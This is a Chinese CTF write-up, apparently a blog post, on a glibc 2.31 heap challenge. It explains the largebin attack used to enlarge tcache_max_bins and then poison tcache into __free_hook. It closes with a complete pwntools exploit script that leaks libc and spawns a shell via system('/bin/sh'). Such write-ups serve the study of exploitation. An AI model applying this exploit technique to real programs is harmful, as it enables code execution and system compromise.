PRO(2.31largebin attack)

关于largebin

pro版本给了修复chunk flag的函数,而且show和edit都只看flag,free还没清指针,可以各种UAF。

但是,add中只能申请large chunk,这导致UAF不能进行任意地址申请,而且版本是libc2.31。

所以我们能用的就只能是largebin attack了,首先利用原理是,在largebin的管理中,采用先进先出的原则(插队头,取队尾),而且会排序,队头大,到队尾依次变小,

四个指针:

fd是从队头一直指向队尾,队尾的fd指向main_arena;

bk则是相反,队头的bk指向main_arena。

fd_nextsize则是从队尾指向队头(从小指到大),但队头的fd_nextsize指向队尾;

bk_nextsize相反,从队头指向队尾(从大指到小),队尾的bk_nextsize指向main_areana

所以,largebin attack的原理就是利用,2.31里largebin会排序插入但没有unlink检测漏洞

首先放一个chunk1在largebin中,然后修改他的bk_nextsize = target - 0x20(fake chunk的fd_size)

之后再free一个比chunk1小但在同一个链表大小的chunk2,这样他就会插到chunk1的队尾去,此时因为chunk1的bk_nextsize指向别处,所以他会认为那是个chunk,就会让他的fd_nextsize指向插入的chunk2,这样就在target写上了一个大值。

简单说就是

//1.申请chunk1(大),chunk2(小)
//2.free(1)进入largebin
//3.修改chunk1的bk_nextsize = target-0x20
//4.free(2)进入largebin

即可完成攻击,

关于进入largebin,先free会放入unsortedbin中,然后申请一个比他大的chunk,就会触发malloc consolidate,将它放入largebin了(smallbin也一样,比如smallbin stash攻击)

本题

因为限制了大小,所以无法UAF,先用largrbin attack 在tcache_max_bin处写下大值,就会将更大的chunk放入tcache,就可以UAF了

细节:

tcache_max_bin在mp_ +80的地方,可以用p& mp_ 找到,本身值为0x40,也就是0x40个entry,每个增值为0x10,也就是最大0x408,将这个值改大,就能放更大的chunk进去

然后在2.31版本,以前,tcache的UAF,只需要free(1),edit(1,target addr),(entry num=1),再申请两个chunk就能拿到target addr,但现在不行了,必须free(1),free(2),edit(1,target addr),(entry num=2),再申请两个才能拿到,我认为应该是2.31会检测堆上tcache thread的数量,有多少就可以拿几个

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#libc
#libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#libc = ELF('/home/hacker/Desktop/libc/amd64/libc-2.23.so')
libc = ELF("/home/hacker/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")

#p
elf = ELF('./main')
p = process('./main')
#p = remote("192-168-1-150.pvp638.bugku.cn",9999)


def add(idx,name,size,content):
	p.sendafter("Choice:\n",'1')
	p.sendlineafter("Add:",str(idx))
	p.sendlineafter("Save:",name)
	p.sendlineafter("Pwd:",str(int(size)))
	p.sendlineafter(":",content)

def edit(idx,content):
	p.sendlineafter("Choice:\n",'2')
	p.sendlineafter("Edit:",str(idx))
	p.sendline(content)

def show(idx):
	p.sendafter("Choice:\n",'3')
	p.sendlineafter("Check:",str(idx))

def free(idx):
	p.sendafter("Choice:\n",'4')
	p.sendlineafter("Delete:\n",str(idx))

def Recover(idx):
	p.sendafter("Choice:\n",'5')
	p.sendlineafter("Recover:",str(idx))

add(0,'a',0x500,'\x00'*0x10)
p.recvuntil("ID:")
key = u64(p.recv(8)) #int
log.info("key="+hex(key))
add(1,'a',0x600,'\x00'*0x10)
add(2,'a',0x500,'\x00'*0x10)
add(3,'a',0x5f8,'\x00'*0x10)
add(4,'a',0x500,"\x00")
#add(6,'a',0x800,'\x00'*0x10)
free(0)

Recover(0)
show(0)
p.recvuntil("is: ")
libc_base = (u64(p.recv(8))^key)-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
add(0,'a',0x500,'\x00'*0x10)
fd = libc_base+0x1ec050#main_arena+1232
tcache_max_bins = libc_base+0x1eb2d0#mp_+80-libc_base

#put 1 in large
free(1)
add(5,'a',0x700,'\x00'*0x10)

Recover(1)
show(1)
p.recvuntil("is: ")
p.recv(16)
bk_nextsize = (u64(p.recv(8))^key)
log.info("bk_nextsize="+hex(bk_nextsize))
edit(1,p64(fd)*2+p64(bk_nextsize)+p64(tcache_max_bins-0x20))#largebin attack

#put 3 in large
free(3)
add(6,'a',0x800,'\x00'*0x10)

free(0)
free(2)#free two to change tcache become 2
Recover(2)
edit(2,p64((libc_base+libc.sym["__free_hook"])))

add(7,'a',0x500,'\x00'*0x10)
add(8,'a',0x500,p64((libc_base+libc.sym["system"])^key))


edit(4,"/bin/sh\x00")
free(4)
#gdb.attach(p)
p.interactive()
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值